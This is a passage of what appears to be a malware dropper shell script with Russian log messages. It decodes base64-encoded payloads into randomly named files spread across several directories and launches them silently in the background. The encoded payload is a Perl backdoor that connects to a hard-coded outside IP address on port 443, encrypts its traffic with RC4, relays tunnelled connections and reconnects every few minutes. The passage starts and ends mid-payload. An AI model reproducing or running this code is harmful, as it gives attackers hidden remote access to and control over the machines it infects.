ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #63 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #63 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 64 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg 